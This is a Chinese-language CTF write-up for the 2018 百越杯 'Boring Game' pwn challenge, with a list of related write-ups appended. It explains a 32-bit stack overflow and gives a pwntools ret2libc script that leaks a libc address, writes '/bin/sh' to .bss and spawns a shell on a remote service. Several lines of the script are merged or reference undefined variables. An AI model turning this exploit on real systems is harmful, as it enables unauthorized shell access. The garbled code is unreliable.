2018 百越杯 pwn（Boring Game Write up）

拿到题目，发现有libc库，想到应该就是要用到ret2libc了

先把pwn扔到IDA看看先

发现有明显的溢出漏洞。

发现程序是32位，且只开启了NX保护

利用思路：

1、泄漏__libc_start_main的真实地址，padding + write_plt + game_addr + 1 + GOT(__libc_start_main) + 4

2、然后根据libc库的偏移，计算出system的真实地址

a可以看到偏移为0x22860

3、写入/bin/sh到bss段，我这里需要用到gadgets(pop_pop_pop_ret)，我是用ROPgadget.py搜索的

可以看到 pppr的地址为 0x080487a9

4、调用system，getshell

from pwn import *
#context.log_level = 'debug'io=remote('117.50.59.220',12345)
elf = ELF('./pwn')
write_plt = elf.plt['write']
read_plt = elf.plt['read']
game_addr = elf.symbols['game']
bss = elf.bss()
system_off = 0x22860
pppr = 0x080487a9io.recvuntil("your name ?\n")
payload = 'A'*88
payload += p32(write_plt) + p32(game_addr)
payload += p32(1) + p32(elf.got['__libc_start_main']) + p32(4)
io.sendline(payload)
io.recv()
io.sendline('1111')
io.recvuntil('\n')
io.recvuntil('\n')
libc_start_main = u32(io.recv(4))print(hex(base))io.recvuntil("your name ?\n")system = libc_start_main + system_offpayload = 'A'*88
payload += p32(read_plt) + p32(pppr) + p32(0) + p32(bss) + p32(8)
#写入“/bin/sh”到bss段
payload += p32(system) + p32(game_addr) + p32(bss)
#调用systemio.sendline(payload)
io.recv()
io.sendline('1111')
io.recvuntil('\n')
io.recvuntil('\n')io.sendline('/bin/sh\x00')io.interactive()

2018 百越杯 pwn（Boring Game Write up）相关推荐

2018 百越杯 pwn(format WriteUp)
看到题目的内容,就知道大概是格式化漏洞了, 马上扔到IDA看个究竟. 不出所料,就是printf的格式化输出漏洞思路: 1.利用格式化漏洞覆盖任意地址的值,这里我们需要覆盖secret的值,所以先要 ...
2018“百越杯”第四届福建省高校网络空间安全大赛部分题目writeup
2018"百越杯"第四届福建省高校网络空间安全大赛writeup 0x00题目存档: 链接: https://pan.baidu.com/s/1v59VfheEC5XY8vyKvg ...
2018福建省“百越杯”CTF初赛writeup
2018福建省"百越杯"CTF初赛writeup PWN Boring Game 题目描述 nc 117.50.59.220 12345 解题经过下载下来后有两个文件pwn和lib ...
第五届百越杯线上赛部分WP
Web BabyPHP 一访问容器就给了PHP代码 <?php error_reporting(1); class Read {private $var;public function file ...
百越杯 Reverse （crazy write up）
拿到程序后,先常规跑一跑: 然后我就把它扔到IDA看看 IDA SHIFT + F12 看到flag关键字,于是我就点击进去,并查看交叉引用由此分析可以得出,flag可能是在if判断正确后输出的于 ...
2019百越杯初赛——哈尔的移动城堡
0x04 哈尔的移动城堡操作内容:下载文件,得到一个压缩包,压缩包里有两张图片,第一张 102%,打开winhex,改文件头把89474E50改为89504E47,再把文件的后缀名改为" ...
2018“云移杯- 景区口碑评价分值预测
2018"云移杯- 景区口碑评价分值预测 (初赛第9) github链接:https://github.com/demonSong/DF_CCF_CONTEST 前言实在太忙,找实习,天池 ...
2018年华为杯数学建模获奖名单挖掘分析
2018年"华为杯"数学建模获奖名单挖掘分析本文针对2018年"华为杯"数学建模6张拟获奖名单做一次简单的统计分析,以下分析结果仅代表思路,勿要以假乱真,权威 ...
D题：手势识别装置 -- 2018年TI杯大学生电子设计竞赛
D题:手势识别装置 – 2018年TI杯大学生电子设计竞赛文章目录 D题:手势识别装置 -- 2018年TI杯大学生电子设计竞赛 1．任务 2．要求 3．说明 1．任务基于TI公司传感芯片FDC ...

2018 百越杯 pwn（Boring Game Write up）

2018 百越杯 pwn（Boring Game Write up）相关推荐

最新文章

热门文章